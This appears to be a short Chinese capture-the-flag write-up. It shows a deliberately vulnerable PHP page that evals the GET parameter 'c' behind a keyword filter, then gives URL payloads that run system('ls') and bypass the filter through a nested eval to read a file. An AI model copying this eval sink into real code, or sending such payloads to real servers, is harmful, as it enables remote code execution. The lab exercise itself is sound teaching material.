第一题
//1. 读取同目录下的bihuo.txt 文件的内容 linux环境下自己创建bihuo.txt
<?php
error_reporting(0);#屏蔽错误
if(isset($_GET['c'])) {
$c = $_GET['c'];
if(!preg_match('/bihuo/i', $c)) {
#过滤bihuo关键字
eval($c);#代码执行
}
} else {
highlight_file(__FILE__);
}
?>
代码分析
这里是引用 preg_match 函数用于执行一个正则表达式匹配
过滤大小的bihuo
解题
查看文件
http://127.0.0.1/include.php?c=system(%27ls%27);
方法一
http://127.0.0.1/include.php?c=eval($_GET[1]);&1=system(%27cat%20bihuo.txt%27);
c参数用一个跳板穿进去的值让他执行另一个参数的值那另一个参数的值就逃逸出去c的正则从而可以执行任何代码